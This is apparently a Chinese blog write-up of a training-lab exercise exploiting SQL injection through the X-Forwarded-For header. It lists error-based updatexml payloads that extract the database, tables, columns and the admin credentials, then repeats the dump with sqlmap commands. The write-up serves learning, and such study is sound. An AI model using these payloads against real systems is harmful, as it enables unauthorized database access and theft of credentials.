WEB安全-X-Forwarded-For注入漏洞实战
前言
之前被带着打完WEB安全里的热点评论刷分漏洞分析溯源,用到的XFF手法刚好是SQL注入里HTTP头注入的一种,所以学完XFF后来尝试打一个靶场,既是知识点的总结和巩固,也算是实操加深印象
不算之前刚接触XFF写的那一篇,这是SQL注入的第五篇,链接:https://www.mozhe.cn/bug/detail/QWxmdFFhVURDay90L0wxdmJXSkl5Zz09bW96aGUmozhe
正文
手工流程
首先明确目标和解题思路
打开网页,如下界面
随便输个用户名和密码,开始抓包,并送到Repeater里面
考虑到是XFF注入,添加X-Forwarded-For参数,并输入数据
出现回弹,猜测是在这里进行注入,修改数据,发现Response也随之修改,判断正确
之后尝试通过#注入恶意代码,但是始终不行,意识到后面还有其他字符,所以决定与后面的字符构造闭合,发现可行,同时在尝试过程中,始终没有报错位,但是会爆出错误,判断为报错注入
爆出数据库为 webcalendar
1' and updatexml(0,concat(0x7e,database()),0) and '1'='1
爆出数据表为 logins 和 user
1' and updatexml(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) and '1'='1
爆出user表中的列为 id,username,password
1' and updatexml(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user')),0) and '1'='1
榨取数据,获得username为admin ,password为 1388926112
1' and updatexml(0,concat(0x7e,(select group_concat(username,0x7e,password) from webcalendar.user)),0) and '1'='1
登陆后获取key
sqlmap流程
将抓包后的数据包下添加 X-Forwarded-For:* 并保存为1.txt
发送到kali,然后sqlmap一通梭哈,注意要先进入保存数据包文件所在的文件夹,才能用sqlmap,不然找不到文件
# 爆数据库
sqlmap -r 1.txt --dbs --batch --threads 10 --level 5 --technique E
# 爆表名
sqlmap -r 1.txt -D webcalendar --tables --batch --threads 10 --level 5 --technique E
# 爆列名
sqlmap -r 1.txt -D webcalendar -T user --columns --batch --threads 10 --level 5 --technique E
# 数据榨取
sqlmap -r 1.txt -D webcalendar -T user --columns --dump --batch --threads 10 --level 5 --technique E
总结与思考
这是靶场,所以能看出来是XFF注入,但是如果不知道,该如何判断?
首先复习一下X-Forwarded-For的定义和XFF注入的原理
X-Forwarded-For:简称XFF头,代表了HTTP的请求端真实的IP。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准
通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件,如 String ip = request.getHeader(“X-Forwarded-For”); 那我们可以通过修改XXF头实现伪造IP
XFF注入: 通过修改X-Forwarded-For头对带入系统的DNS进行SQL注入,达到欺骗服务器执行恶意的SQL命令的效果,从而可以得到网站的数据库内容
我试了一下直接输入用户名和密码,发现回弹如下
在ip138.com网站中查询到自己的ip就是其中的112.2.253.124,结合X-Forwarded-For参数是用于显示真实IP的作用,可以判断出是XFF注入
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/15594493.html